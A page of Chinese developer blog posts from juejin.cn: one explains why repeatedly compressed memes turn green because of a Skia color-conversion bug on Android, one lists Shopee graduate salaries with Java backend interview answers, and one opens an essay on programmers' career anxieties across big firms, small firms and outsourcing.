作者:917号先生
来源:juejin.cn/post/7340621143009067027
收起阅读 »

为什么网络上一些表情包在反复传播之后会变绿?“电子包浆”到底是怎么形成的?

大家好,我是程序员牛肉。 今天在和朋友聊天的时候,他发了一张很古老的表情包,整张图片呈现很明显的发绿状态。 这张图片直接将我的思绪拉回到七八年前,当时我还经常在QQ群里和别人斗图。大家发一些很经典的表情包的时候,这些图片就会呈现明显的发绿状态,当时的大家戏称...
继续阅读 »

大家好,我是程序员牛肉。


今天在和朋友聊天的时候,他发了一张很古老的表情包,整张图片呈现很明显的发绿状态。


图片


这张图片直接将我的思绪拉回到七八年前,当时我还经常在QQ群里和别人斗图。大家发一些很经典的表情包的时候,这些图片就会呈现明显的发绿状态,当时的大家戏称这玩意是“电子包浆”。


你们有这种充满“电子包浆”的图片嘛?可以发在评论区看一看。那大家有没有想过这些图片为什么会发绿呢?


图片


我们首先要明确一点:图片并不是因为反复传播而变绿的,而是因为在传播的过程中,各个软件都会对图片进行压缩来节省网络带宽。在反复压缩的过程中,图片就会出现这种明显的“电子包浆”感。


问题的根源出在安卓自己的核心代码上,它对外提供了一个压缩图片的接口。而这个接口使用的是Google的图像库Skia来提供服务。


图片



github.com/google/skia


对应的代码仓库



Google在Skip中采用了libjpeg - turbo来完成实际的压缩工作。而在进行压缩工作时,libjpeg - turbo 会先将图像从常见的 RGB 色彩空间转换为 YUV 色彩空间,这是整个压缩流程中的一个基础环节,为后续的离散余弦变换(DCT)、量化等压缩操作做准备。


[libjpeg - turbo是一个对 JPEG 图像编码和解码进行加速的库,是对传统 JPEG 库的优化和改进版本,具有更高的压缩和解压缩速度,同时保持了良好的图像质量。Skia 在进行 JPEG 图像压缩时,会调用 libjpeg - turbo 来完成实际的压缩工作,借助 libjpeg - turbo 的高效算法和优化实现,提升 JPEG 压缩的性能和效果。]


问题就出在RGB转YUV色彩空间的过程中,采用了降低精度来提高转换速度。而在这一过程中,采用了右移操作进行数据截断。


图片


这个操作可了不得,他会直接截断小数部分。例如3.1就会变成3。也就是说YUV这三个值都会因为这个数据阶段而偏小。


我们来解释一下YUV这三个值的意思:



  • Y(Luminance 或 Luma)


         表示亮度(Luminance),也就是图像的明亮程度。它包含了图像的黑白信息,取值范围通常在 0 到 255 之间,0 代表黑色,255 代表白色,中间的值对应不同程度的灰色。亮度分量是图像中最重要的部分,人眼对亮度的变化比颜色的变化更为敏感,在图像处理和视频编码中,亮度信息通常被更精确地保留和处理,以保证图像的整体视觉效果。


  • U(Chrominance Blue 或 Cb)


         代表蓝色色度(Chrominance Blue),也称为蓝色分量。它反映的是图像中蓝色部分与亮度的差异信息,用于表示颜色中的蓝色偏移量。U 的值描述了图像中蓝色分量相对于亮度的偏离程度,其取值范围一般也在一定的数值区间内,例如 - 128 到 127 等,0 表示没有蓝色偏移,正值表示蓝色分量多于平均水平,负值表示蓝色分量少于平均水平。


  • V(Chrominance Red 或 Cr)


         表示红色色度(Chrominance Red),即红色分量。它体现的是图像中红色部分与亮度的差异,用于衡量颜色中的红色偏移量。V 的取值范围与 U 类似,也是在一定区间内,0 代表没有红色偏移,正值表示红色分量多于平均水平,负值表示红色分量少于平均水平。通过 V 的值可以确定图像中红色的含量和分布情况。



而网络上有一张图就很好的概括了YUV偏向的结果:


图片



commons.wikimedia.org/wiki/File:Y…


图片对应网站



由于RGB转YUV中的阶段操作导致YUV这三个的计算值都要比真实值偏小。而在上述的图片中我们可以看到:这种偏小带来的结果就是整体的显色效果都要向右下角靠拢。


图片


显然,YUV 计算机整体偏小导致结果就是:变暗,变绿。


而大多数互联网公司例如贴吧,QQ的客户端在进行图片压缩算法的时候都采用的是安卓提供的这一套压缩图片的算法。


这也就导致了“电子包浆”的重灾区一般就集中在贴吧和QQ中。


图片


而Google在2016年的4月19日才正式的修复了这个bug。在百度查询了一下对应的Android发布版本,也就是说Android7才消除了这个问题。


图片


这个bug的修复很简单,在代码层面的表现为:把原本 Skia 库 YUV 转换代码全部删掉,把这个过程留给整个过程最底层的 libjpeg-turbo 库自己来做,并且用默认的 JDCT_ISLOW 方法代替 JDCT_IFAST 方法。


图片



github.com/google/skia…


对应的PR



总结一下呢:就是在图片压缩的过程中需要先将RGB色彩空间转化为YUV色彩空间。但是在转化的过程中对小数的处理并不到位。导致计算出来的YUV比真实的YUV值要偏小。反映在图片上就是整体偏暗偏绿。


那么今天关于“图片为什么会有电子包浆”的内容就介绍到这里了。相信通过我的介绍,你已经大致了解了为什么会出现这种情况。希望我的文章可以帮到你。


你有没有这种“电子包浆”的图片呢?听说现在评论区可以发视频了。快在评论区里发出来让大家看看吧。


关注我,带你了解更多技术干货。


作者:程序员牛肉
来源:juejin.cn/post/7467099560520859663
收起阅读 »

虾皮开的很高,还有签字费。

大家好,我是二哥呀。 虾皮在去年之前,还是很多大厂人外逃的首选项,因为总部在新加坡,比较有外企范,但去年就突然急转直下,队伍收紧了不少。 作为东南亚电商市场的领头羊,市场覆盖了新加坡、马来西亚、泰国、菲律宾、印尼、越南等地,目前也开始进军巴西和墨西哥等新兴市场...
继续阅读 »

大家好,我是二哥呀。


虾皮在去年之前,还是很多大厂人外逃的首选项,因为总部在新加坡,比较有外企范,但去年就突然急转直下,队伍收紧了不少。


作为东南亚电商市场的领头羊,市场覆盖了新加坡、马来西亚、泰国、菲律宾、印尼、越南等地,目前也开始进军巴西和墨西哥等新兴市场。


我从 offershow 上也统计了一波 25 届虾皮目前开出来的薪资状况,方便大家做个参考。




  • 本科 985,后端岗,给了 32k,还有 5 万签字费,自己硬 A 出来的,15 天年假,base 上海,早 9.30 晚 7 点

  • 硕士双一流,后端给了 40 万年包,但已经签了其他的三方,拒了,11 月 31 日下午开的

  • 硕士 985,后端开发,给到了 23k,白菜价,主要面试的时候表现太差了

  • 硕士海归,后端开发给了 26.5k,还有三万签字费,咩别的高,就释放了

  • 硕士211,测试岗,只给了 21k,还有 3 万年终奖,但拒了


从目前统计到的情况来看,虾皮其实还蛮舍得给钱的,似乎有点超出了外界对他的期待。但很多同学因为去年的情况,虾皮只能拿来做备胎,不太敢去。


从虾皮母公司 Sea 发布的2024 年第三季度财报来看,电子商务(主要是 Shopee)收入增长了 42.6%,达到了 31.8 亿美元,均超预期。


总之,希望能尽快扭转颓势吧,这样学 Java 的小伙伴也可以有更多的选择。


那接下来,我们就以 Java 面试指南中收录的虾皮面经同学 13 一面为例,来看看下面的面试难度,自己是否有一战之力。


背八股就认准三分恶的面渣逆袭


虾皮面经同学 13 一面


tcp为什么是可靠的


TCP 首先通过三次握手和四次挥手来保证连接的可靠性,然后通过校验和、序列号、确认应答、超时重传、滑动窗口等机制来保证数据的可靠传输。


①、校验和:TCP 报文段包括一个校验和字段,用于检测报文段在传输过程中的变化。如果接收方检测到校验和错误,就会丢弃这个报文段。


推荐阅读:TCP 校验和计算方法


三分恶面渣逆袭:TCP 校验和


②、序列号/确认机制:TCP 将数据分成多个小段,每段数据都有唯一的序列号,以确保数据包的顺序传输和完整性。同时,发送方如果没有收到接收方的确认应答,会重传数据。


三分恶面渣逆袭:序列号/确认应答


③、流量控制:接收方会发送窗口大小告诉发送方它的接收能力。发送方会根据窗口大小调整发送速度,避免网络拥塞。


三分恶面渣逆袭:滑动窗口简图


④、超时重传:如果发送方发送的数据包超过了最大生存时间,接收方还没有收到,发送方会重传数据包以保证丢失数据重新传输。


三分恶面渣逆袭:超时重传


⑤、拥塞控制:TCP 会采用慢启动的策略,一开始发的少,然后逐步增加,当检测到网络拥塞时,会降低发送速率。在网络拥塞缓解后,传输速率也会自动恢复。


三分恶面渣逆袭:拥塞控制简略示意图


http的get和post区别


三分恶面渣逆袭:Get 和 Post 区别


GET 请求主要用于获取数据,参数附加在 URL 中,存在长度限制,且容易被浏览器缓存,有安全风险;而 POST 请求用于提交数据,参数放在请求体中,适合提交大量或敏感的数据。


另外,GET 请求是幂等的,多次请求不会改变服务器状态;而 POST 请求不是幂等的,可能对服务器数据有影响。


https使用过吗 怎么保证安全


HTTP 是明文传输的,存在数据窃听、数据篡改和身份伪造等问题。而 HTTPS 通过引入 SSL/TLS,解决了这些问题。


SSL/TLS 在加密过程中涉及到了两种类型的加密方法:



  • 非对称加密:服务器向客户端发送公钥,然后客户端用公钥加密自己的随机密钥,也就是会话密钥,发送给服务器,服务器用私钥解密,得到会话密钥。

  • 对称加密:双方用会话密钥加密通信内容。


三分恶面渣逆袭:HTTPS 主要流程


客户端会通过数字证书来验证服务器的身份,数字证书由 CA 签发,包含了服务器的公钥、证书的颁发机构、证书的有效期等。


https能不能抓包


可以,HTTPS 可以抓包,但因为通信内容是加密的,需要解密后才能查看。


MonkeyWie:wireshark抓HTTPS


其原理是通过一个中间人,伪造服务器证书,并取得客户端的信任,然后将客户端的请求转发给服务器,将服务器的响应转发给客户端,完成中间人攻击。


常用的抓包工具有 Wireshark、Fiddler、Charles 等。


threadlocal 原理 怎么避免垃圾回收?


ThreadLocal 的实现原理就是,每个线程维护一个 Map,key 为 ThreadLocal 对象,value 为想要实现线程隔离的对象。


1、当需要存线程隔离的对象时,通过 ThreadLocal 的 set 方法将对象存入 Map 中。


2、当需要取线程隔离的对象时,通过 ThreadLocal 的 get 方法从 Map 中取出对象。


3、Map 的大小由 ThreadLocal 对象的多少决定。


ThreadLocal 的结构


通常情况下,随着线程 Thread 的结束,其内部的 ThreadLocalMap 也会被回收,从而避免了内存泄漏。


但如果一个线程一直在运行,并且其 ThreadLocalMap 中的 Entry.value 一直指向某个强引用对象,那么这个对象就不会被回收,从而导致内存泄漏。当 Entry 非常多时,可能就会引发更严重的内存溢出问题。


ThreadLocalMap 内存溢出


使用完 ThreadLocal 后,及时调用 remove() 方法释放内存空间。remove() 方法会将当前线程的 ThreadLocalMap 中的所有 key 为 null 的 Entry 全部清除,这样就能避免内存泄漏问题。


mysql慢查询


慢 SQL 也就是执行时间较长的 SQL 语句,MySQL 中 long_query_time 默认值是 10 秒,也就是执行时间超过 10 秒的 SQL 语句会被记录到慢查询日志中。


可通过 show variables like 'long_query_time'; 查看当前的 long_query_time 值。


沉默王二:long_query_time


不过,生产环境中,10 秒太久了,超过 1 秒的都可以认为是慢 SQL 了。


mysql事务隔离级别


事务的隔离级别定了一个事务可能受其他事务影响的程度,MySQL 支持的四种隔离级别分别是:读未提交、读已提交、可重复读和串行化。


三分恶面渣逆袭:事务的四个隔离级别


遇到过mysql死锁或者数据不安全吗


有,一次典型的场景是在技术派项目中,两个事务分别更新两张表,但是更新顺序不一致,导致了死锁。


-- 创建表/插入数据
CREATE TABLE account (
id INT AUTO_INCREMENT PRIMARY KEY,
balance INT NOT NULL
);

INSERT INTO account (balance) VALUES (100), (200);

-- 事务 1
START TRANSACTION;
-- 锁住 id=1 的行
UPDATE account SET balance = balance - 10 WHERE id = 1;

-- 等待锁住 id=2 的行(事务 2 已锁住)
UPDATE account SET balance = balance + 10 WHERE id = 2;

-- 事务 2
START TRANSACTION;
-- 锁住 id=2 的行
UPDATE account SET balance = balance - 10 WHERE id = 2;

-- 等待锁住 id=1 的行(事务 1 已锁住)
UPDATE account SET balance = balance + 10 WHERE id = 1;

两个事务访问相同的资源,但是访问顺序不同,导致了死锁。


死锁


解决方法:


第一步,使用 SHOW ENGINE INNODB STATUS\G; 查看死锁信息。


查看死锁


第二步,调整事务的资源访问顺序,保持一致。


怎么解决依赖冲突的


比如在一个项目中,Spring Boot 和其他库对 Jackson 的版本有不同要求,导致序列化和反序列化功能出错。


这时候,可以先使用 mvn dependency:tree分析依赖树,找到冲突;然后在 dependencyManagement 中强制统一 Jackson 版本,或者在传递依赖中使用 exclusion 排除不需要的版本。


spring事务


在 Spring 中,事务管理可以分为两大类:声明式事务管理和编程式事务管理。


三分恶面渣逆袭:Spring事务分类


编程式事务可以使用 TransactionTemplate 和 PlatformTransactionManager 来实现,需要显式执行事务。允许我们在代码中直接控制事务的边界,通过编程方式明确指定事务的开始、提交和回滚。


声明式事务是建立在 AOP 之上的。其本质是通过 AOP 功能,对方法前后进行拦截,将事务处理的功能编织到拦截的方法中,也就是在目标方法开始之前启动一个事务,在目标方法执行完之后根据执行情况提交或者回滚事务。


相比较编程式事务,优点是不需要在业务逻辑代码中掺杂事务管理的代码,Spring 推荐通过 @Transactional 注解的方式来实现声明式事务管理,也是日常开发中最常用的。


常见的linux命令


我自己常用的 Linux 命令有 top 查看系统资源、ps 查看进程、netstat 查看网络连接、ping 测试网络连通性、find 查找文件、chmod 修改文件权限、kill 终止进程、df 查看磁盘空间、free 查看内存使用、service 启动服务、mkdir 创建目录、rm 删除文件、rmdir 删除目录、cp 复制文件、mv 移动文件、zip 压缩文件、unzip 解压文件等等这些。


git命令



  • git clone <repository-url>:克隆远程仓库。

  • git status:查看工作区和暂存区的状态。

  • git add <file>:将文件添加到暂存区。

  • git commit -m "message":提交暂存区的文件到本地仓库。

  • git log:查看提交历史。

  • git merge <branch-name>:合并指定分支到当前分支。

  • git checkout <branch-name>:切换分支。

  • git pull:拉取远程仓库的更新。


内容来源


三分恶的面渣逆袭:javabetter.cn/sidebar/san…
二哥的 Java 进阶之路(GitHub 已有 13000+star):github.com/itwanger/to…


最后,把二哥的座右铭送给大家:没有什么使我停留——除了目的,纵然岸旁有玫瑰、有绿荫、有宁静的港湾,我是不系之舟。共勉 💪。


作者:沉默王二
来源:juejin.cn/post/7451638008409554994
收起阅读 »

程序员的北京折叠:生存、焦虑与抉择

引子:从《北京折叠》说起 《北京折叠》是郝景芳的一篇著名科幻小说,最早于 2012 年 12 月发表在清华大学的学生论坛水木社区的科幻版。2016 年获得第 74 届雨果奖最佳中短篇小说奖,2018 年获得第 49 届星云赏海外部门短篇小说奖项。雨果奖介绍这篇...
继续阅读 »

引子:从《北京折叠》说起


《北京折叠》是郝景芳的一篇著名科幻小说,最早于 2012 年 12 月发表在清华大学的学生论坛水木社区的科幻版。2016 年获得第 74 届雨果奖最佳中短篇小说奖,2018 年获得第 49 届星云赏海外部门短篇小说奖项。雨果奖介绍这篇小说「构建了一个不同空间、不同阶层的北京,可像‘变形金刚般折叠起来的城市’,却又‘具有更为冷峻的现实感’」。


《北京折叠》讲述了北京这个城市被分割成了三个空间,每个空间的人们在各自的时空中生活,彼此之间几乎没有交集。第一空间的人高高在上,掌控着资源与权力;第二空间的中产阶级维持着相对体面的生活;第三空间的人则在贫困、压抑中挣扎求生。三层空间的生活轨迹几乎不会重叠,仿佛他们生活在完全不同的世界中。


作为一名程序员,这个故事让我不禁联想到我们这个行业中的「折叠北京」,在不同的公司、岗位和城市,程序员们同样被划分成了不同的「空间」。每个人的职业轨迹、生活方式和所面临的问题大相径庭,甚至无法体验到他人生活中的酸甜苦辣。


我曾在大厂呆过,在小公司也做过,自己也曾创业。在这些不同的「空间」里,我看到了程序员群体的多样性,感受到了他们各自的焦虑与困境。今天,我想借用《北京折叠》的框架,来聊聊程序员世界中的三种「空间」,它们之间的壁垒、差异,以及偶尔交错的瞬间。


1. 第一空间:大厂程序员的「黄金时代」


在程序员的世界里,第一空间无疑是那些在头部互联网大厂工作的精英们。字节跳动、阿里巴巴、腾讯、网易等巨头公司,几乎可以说是这个行业的象征。对于很多年轻程序员来说,进入大厂意味着职业生涯的「黄金时代」——高薪酬、丰厚的福利、甚至是行业内的一些光环,仿佛一切都昭示着成功与荣耀。


1.1 高压环境中的「内卷」


在大厂工作,最直观的感受就是无处不在的竞争。这种竞争不仅来源于外部市场的技术更新、产品迭代,更深刻地体现在公司内部,尤其是在同事之间。这种现象在互联网行业尤为明显,因此,很多人用「内卷」一词来概括大厂程序员们的工作环境。


1.1.1 绩效排名和末位淘汰制


大厂程序员普遍面临着严格的绩效考核制度。像字节跳动、阿里巴巴等公司,通常实行「361」类的强制考核,即在每次考核中,前20%的员工拿到最好的绩效,而后 20% 左右则面临淘汰的风险。每半年(或者一个季度)一次的绩效考核期,几乎是程序员们最为紧张的时刻,生怕自己成为「差劲」或「末位淘汰」的一员。


这种考核机制确实激励了员工不断提升自我,但也带来了巨大的心理压力和工作负担。为了在绩效评估中脱颖而出,程序员们不得不超负荷工作,甚至牺牲健康和个人生活。许多大厂的加班文化已成常态,尤其是在实行“996”工作制度的公司,程序员们的工作时长远远超出了法律规定的标准。


更为严重的是,由于绩效考核的竞争性,团队内部的合作有时变得愈发功利化。项目的成功不仅关乎团队整体的荣誉,还直接决定了每个人的绩效评定。于是,暗中较劲、互相攀比的现象时有发生,团队协作因此变得更加复杂且微妙。


1.1.2 怎样才算「成功」?


在大厂的程序员群体中,有一种不成文的共识:成功的标志不是你是否能够完成日常的任务,而是你能否写出新技术、推动新项目,甚至在团队中成为某个领域的权威。每个人都在追求「技术大咖」的头衔,渴望在某个技术社区或者公司内部的技术分享会上崭露头角。技术的不断迭代让人们时刻保持学习的心态,但这种持续的自我提升也带来了巨大的压力。


有时我会和一些在大厂的朋友聊起他们的生活,发现他们的焦虑和我在小厂时的焦虑并没有本质区别。尽管他们拿着比普通程序员高得多的工资,但他们的时间成本、精神压力和对未来的迷茫感也不比别人少。他们的生活轨迹看上去光鲜亮丽,但其实也是在一种高强度的环境中挣扎生存。


为了在考核中脱颖而出,程序员们会拼命寻找可以量化的业绩,比如开发新功能、优化系统性能、贡献开源项目等。然而,这种短期导向的行为,往往导致大量的重复劳动。不同的团队、甚至同一团队的成员,可能都在做相似的工作,因为每个人都希望自己的成果被视为「独创贡献」。


这种过度竞争导致了资源的浪费和技术的冗余。比如,不同团队可能会开发多个功能类似的工具或系统,但由于每个团队都希望展示自己的「独立成果」,这些项目往往没有被整合,造成了效率低下。这种「重复造轮子」的现象在大厂程序员中屡见不鲜,不同的部门,甚至不同的中心各有一套技术栈或管理系统的很常见。这不仅浪费了时间和资源,也让公司的整体创新能力受到抑制。


1.2 裁员潮下的生存危机


1.2.1 大厂裁员的频发性


近年来,随着互联网行业的逐渐成熟和增速放缓,国内外的大厂频繁爆出裁员的新闻。无论是由于公司战略调整,还是市场环境的变化,裁员已经成为了大厂的一种常见操作。即使是表现优异的部门,也可能因为公司调整方向而面临裁撤的命运。


大厂裁员并不仅仅针对绩效较差的员工。很多时候,裁员是为了优化成本结构,或者是公司业务重心发生了转移。某些曾经处于风口的业务部门,一旦被认为前景不妙,整个团队可能会在短时间内被解散。例如,一些大厂在短视频、智能硬件等领域的扩张速度过快,导致后期发展遇阻,一旦业务不达预期,相关团队就可能面临大规模裁员。


以字节为例,2023 年底字节跳动官宣大规模裁撤游戏项目和人员,未上线项目几乎全部关停,已上线且表现良好的游戏也要寻求剥离; 2024 年初飞书裁员超过 20%,


这种裁员的不可预测性,给大厂程序员的职业生涯带来了巨大的不确定性。即便你今天的绩效再优秀,也无法保证明天公司不会因为战略调整而决定裁掉你所在的部门。这种生存危机,成为了大厂程序员的长期困扰。


还在某大厂的兄弟说:以前,末位淘汰了还可以增补 HC,但是现在淘汰了就是淘汰了,不会有新的人补充进来,且强制 10% 的比例。这也是一种裁员的逻辑。


1.2.2 「大龄程序员」的困境


裁员的另一大受害者群体是所谓的「大龄程序员」,即那些年龄超过 35 岁、甚至 40 岁以上的技术人员。在很多大厂的文化中,年轻意味着活力和更强的工作负荷承受能力,因此,年龄较大的程序员往往被认为「性价比不高」。


当公司需要削减成本时,首先会考虑那些薪资较高的员工。而大龄程序员由于工龄长、薪资高,往往成为了裁员的首选对象。即便这些程序员有着丰富的技术经验和项目管理能力,但在日新月异的互联网行业,他们的优势往往被削弱。


同时,技术更新日新月异,大龄程序员若无法持续跟上行业的技术潮流,便可能在职业生涯中陷入困境。很多人会在 35 岁之后面临职业发展的瓶颈,不得不思考转型的可能性。


1.3 程序员的「供需失衡」


与十几年前程序员供不应求的情况不同,如今的互联网行业已经趋于饱和。随着越来越多的人涌入这个领域,市场对程序员的需求增速放缓,导致了供需之间的失衡。


在 2024 年 8 月招生季,太原理工 2024 软件工程招 60 个班,近 2000 人,冲上热搜。想象一下,在四年之后的这些学生的就业难度会像「通货膨胀」一样飞速上涨。


这种供需失衡带来了一系列问题。在初级程序员这一级,竞争会更加激烈,很多应届毕业生发现自己面临大量竞争对手,哪怕是基础岗位,也往往需要具备极高的技术能力。


企业在招聘时可以更加挑剔,倾向于选择那些工资要求低、技术基础扎实的年轻程序员,而那些经验丰富但薪资要求较高的资深程序员,反而变得不那么受欢迎。


程序员岗位已经从一个「卖方市场」彻底转变为「买方市场」


在「卖方市场」时期,企业为了吸引优秀的技术人才,往往会提供丰厚的薪资福利和极具吸引力的职业发展机会。然而,随着越来越多的程序员涌入市场,岗位供给的增速却远远赶不上需求的增长,企业开始占据更多的主动权。


在买方市场中,企业可以更加挑剔地选择应聘者,不仅要求候选人具备扎实的技术基础,还希望他们能够适应更高的工作强度和更低的薪资要求。这种局面尤其对初级程序员和应届毕业生不利。哪怕是一些基础岗位,也往往需要较高的技术门槛和项目经验,导致很多刚毕业的学生发现自己难以找到合适的工作机会。


与此同时,资深程序员的处境也不容乐观。那些拥有多年经验的程序员,虽然在技术上更为成熟,但由于薪资要求较高,企业在招聘时往往更愿意选择年轻、成本较低的程序员。这种现象让很多资深程序员陷入了「高不成低不就」的尴尬境地。他们的技术能力虽然依然强大,但在快速变化的互联网行业中,市场对他们的需求开始减少,尤其是在裁员潮和优化成本的背景下,资深程序员的议价能力逐渐被削弱。在就业市场上常常可以看到一个岗位多个人竞争的情况。


1.4 大厂程序员的「中年危机」


1.4.1 技术更新的焦虑


程序员这个职业最大的特点之一是技术更新的快速迭代。每隔几年,行业的技术栈就会发生翻天覆地的变化。从最早的C、C++到如今的云计算、人工智能和区块链,每一波技术浪潮都要求程序员持续学习新知识,适应新的工具和框架。


对于年轻程序员来说,学习新技术可能充满了乐趣和挑战性。但对于年纪较大的程序员来说,技术更新的压力往往带来了巨大的焦虑感。随着年龄增长,学习新技术的难度和精力投入都在增加,而大厂的工作环境又要求程序员始终保持对新兴技术的敏感度。这种持续的技术更新压力,让很多大龄程序员感到力不从心。


1.4.2 顶层的天花板


对于很多大厂程序员来说,最可怕的不是眼前的压力,而是那种隐隐约约的「天花板」感。你很难在大厂中看到五十岁、甚至四十岁以上的程序员,他们的去向仿佛成了一个谜题。


大家心照不宣地知道,到了某个年龄段,技术可能已经不再是你的核心竞争力,管理岗位有限,竞争者众多,如何突破这层「天花板」成了很多大厂程序员内心深处的焦虑。


面对年龄、技术更新和职业发展的瓶颈,很多大厂程序员在 30 岁之后开始考虑职业转型。然而,转型并不是一件容易的事情。大多数程序员的职业技能都围绕技术展开,一旦离开了技术岗位,很多人发现自己在其他领域缺乏竞争力。


常见的转型路径包括转向管理岗位、创业或进入教育培训行业。然而,管理岗位有限,创业风险极大,而教育培训行业本身也在经历着调整。这使得很多程序员在转型的过程中感到困惑和无助。职业发展的瓶颈使得大龄程序员的未来看起来充满了不确定性。


1.5 黄金时代的背后是无尽的焦虑


大厂程序员的生活看似光鲜,但背后却充满了无尽的压力与焦虑。高薪的代价是长期的加班和激烈的内卷;丰厚的待遇伴随着频繁的裁员和职业发展的瓶颈。尤其是大龄程序员,他们不仅面临着技术更新的焦虑,还要应对职业转型的困惑。


在这个日新月异的行业里,大厂程序员的「黄金时代」或许并不像外界看到的那样光鲜。当「中年危机」到来,如何平衡工作与生活、如何应对技术的快速变化,成为了每一个程序员都需要思考的问题。


如 will 老板所说:始终要思考的是如何在大厂活下去!,更进一步:其实更焦虑的是如何靠自己活下去


2. 第二空间:小厂程序员的迷茫与抉择


2.1 资源、团队与技术的困境


在小公司工作的程序员面临的第一个现实问题是资源的匮乏。与大厂程序员相比,小厂程序员的开发环境和资源往往十分有限。预算紧张使得小公司无法购买先进的开发工具,也没有大厂那样完善的基础设施和支持团队。很多时候,程序员需要用「土办法」去解决问题,甚至自己搭建和维护服务器、数据库等基础设施。


虽然现在云服务的使用已经很普遍了,但是能用好云服务的公司不多,甚至在常见的 CI/CD 流程都没有实施。


团队情况也是一个重要因素。小公司里,团队人员往往较少,职责分工不如大公司细致,很多程序员需要身兼数职,既要写代码,还要负责运维、测试,甚至参与产品设计和业务讨论。这种「多面手」的工作方式虽然能让个人能力得到快速锻炼,但也意味着专注度较低,无法在某一个领域深入钻研,导致技术积累不够扎实。


技术的硬门槛是另一大挑战。小公司通常专注于短期业务目标,项目进度往往比技术本身更加重要。这导致程序员在开发过程中可能会放弃对代码质量、性能优化等技术细节的追求,而更多地采用快速上线的策略。这种方式虽然能让产品迅速推向市场,但也限制了程序员的技术视野和思维,长期下去,很容易陷入技术瓶颈


2.2 平台、资源与局限


2.2.1 资源的限制


与大厂相比,小厂程序员的工作环境显得更加局促和紧张。他们没有大公司那样强大的技术团队或前沿的技术工具支持,很多时候只能依赖现有资源,甚至是开源工具来解决问题。


公司往往没有足够的预算去支持技术创新,项目的重点更多地放在如何快速满足客户需求上,而不是技术实现的完美度。因此,小厂程序员的工作更多的是一种「打补丁」的过程,解决眼前的问题,而不是从根本上提升系统的架构或性能。


由于缺少大厂的技术资源和系统流程,小厂程序员在面对复杂问题时只能依赖个人经验和有限的知识储备。这种资源的匮乏,让他们在遇到需要深入技术实现或复杂系统优化的问题时力不从心,也限制了他们的职业发展。


2.2.2 多面手的隐患


小公司经常要求程序员成为「全栈开发者」,不仅要负责前端、后端的开发,还要参与运维、测试,甚至是产品设计。这种「多面手」的角色虽然能在短时间内提升程序员的综合能力,但长期来看,专精度的不足是显而易见的。程序员往往在多个领域都有所涉及,却缺乏一个深耕的方向,导致在某些关键技术上与大厂程序员相比存在明显的差距。


这种现象尤其体现在一些高精尖的领域,比如分布式架构、性能优化、大规模数据处理等。小公司项目的局限性使得程序员鲜有机会接触这些高端技术,即便遇到相关问题,也往往是通过快速修补的方式解决,而不是深入理解和优化。多面手的广度虽然让小厂程序员具备了应对不同问题的能力,但缺乏深度的劣势在面对更高的技术挑战时显露无遗。


2.2.3 重复与瓶颈


小公司项目的重复性也是一个常见的问题。许多小公司专注于某些特定的业务场景,程序员在开发过程中,往往是在重复类似的增删改查操作。长时间在这种环境中工作,程序员容易陷入一种技术思维的局限,觉得自己的工作仅仅是完成客户需求,而忽视了技术本身的提升。这种局限让他们在面对更复杂的项目或系统时,缺乏应对的思路和方法。


在这种环境下,程序员可能会感到希望突破但找不到方向。他们渴望接触更复杂、更有挑战性的技术,但小公司的项目和资源限制了他们的视野,无法提供足够的成长空间。很多程序员在小公司工作多年后,逐渐意识到,自己的技术积累始终停留在某个水平,无法突破。


2.3 对未来的迷茫与期待


2.3.1 稳定性的假象


小厂程序员的处境,常常在稳定与成长之间徘徊。对于很多在小公司干了多年的人来说,工作内容虽然相对稳定,压力小,甚至在某些场合下还能当上小领导,但这种「舒适区」并不一定带来长久的安全感。


尽管有些程序员在小公司工作多年,积累了一定的业务经验,甚至在团队中占据了重要的角色,但这并不意味着未来的职业道路是一片坦途。小公司的抗风险能力差,经济波动或行业萎缩时,很多小公司会迅速陷入困境,甚至倒闭。对于很多 30 岁上下的程序员来说,一旦失去这份相对稳定的工作,他们可能会发现自己在技术上并没有明显优势,面临再就业的难题。


这种不稳定性让很多小厂程序员产生了焦虑感。他们担心公司倒闭后,自己所积累的业务经验和技术能力无法顺利转化到其他公司。尤其是在面对大厂的面试要求时,很多小厂程序员会发现自己的项目经验和技术广度远远不足以应付大厂的高标准。进退两难的局面让他们陷入迷茫,不知道未来的职业发展该何去何从。


2.3.2 突破的渴望与现实的差距


尽管如此,很多小厂程序员依然保持着突破现状的愿望。他们希望自己的公司能够做大做强,从而拥有更多的资源和技术成长的机会。然而,现实往往并不如人意。小公司能做到一定规模的并不多,很多公司最终还是会因为市场竞争激烈、资金不足等原因被淘汰。


因此,跳槽到中型公司或大厂历练,成为了不少小厂程序员的另一种理想选择。他们希望通过进入更大平台,接触到更多的技术挑战和行业资源,打破**在小公司中「打转」**的局面。但这种跳槽并不容易,尤其是对于长期习惯了小公司开发模式的程序员来说,想要进入大厂不仅需要提升技术硬实力,还需要适应大厂的工作节奏和文化。


2.4 跳槽到大厂:进阶还是冒险?


对于那些在小公司工作了多年,并且已经进入到领导层的程序员来说,最大的问题往往是:现在跳槽到大厂,值得吗?


2.4.1 跳槽的机遇


跳槽到大厂意味着能够接触到更复杂的技术栈和更具挑战性的项目。在大厂中,程序员不仅可以学习到前沿的技术(如微服务架构、Kubernetes、分布式系统等),还能够获得更为完善的职业晋升通道。大厂的技术氛围和资源整合能力,也意味着程序员能够更快地成长,跳出小公司单一业务的限制。


此外,大厂的品牌效应也不容忽视。即使是普通开发,拥有大厂背景的程序员在未来的求职市场上,无论是跳槽还是创业,都具有更高的含金量。


2.4.2 跳槽的风险


然而,跳槽到大厂并非没有风险。大厂的竞争激烈,程序员需要面对年轻一代的强大竞争压力。大厂的工作节奏快、加班文化重,许多 30 岁左右的程序员可能会发现,自己在体力和精力上难以与年轻人抗衡。


进入大厂后,之前在小公司积累的业务经验和管理经验未必能够直接转化为优势。大厂的岗位分工更加明确,很多程序员在跳槽后可能需要从普通开发做起,甚至重新适应新的工作流程和技术要求。


跳槽到大厂对于 30 岁上下的程序员来说,是一个双刃剑。如果能够抓住机会快速提升技术能力,则职业生涯将迎来新的突破;但如果无法适应大厂的节奏,则可能面临事业的再次迷茫。


2.5 技术能力和学习能力是立足之本


小厂程序员的迷茫和焦虑,归根结底源于技术成长的瓶颈和职业发展的不确定性。面对快速变化的行业环境,程序员们需要不断提升自我,不仅要在技术上有所突破,还应当具备长远的职业规划。


无论是在小公司继续发展,还是跳槽到大厂,程序员都应当意识到,技术能力和学习能力是立足于这个行业的根本。唯有不断学习和进步,才能在程序员的职业道路上走得更远、更稳。


3. 第三空间:外包与自由职业者的「生存游戏」


3.1 外包的世界


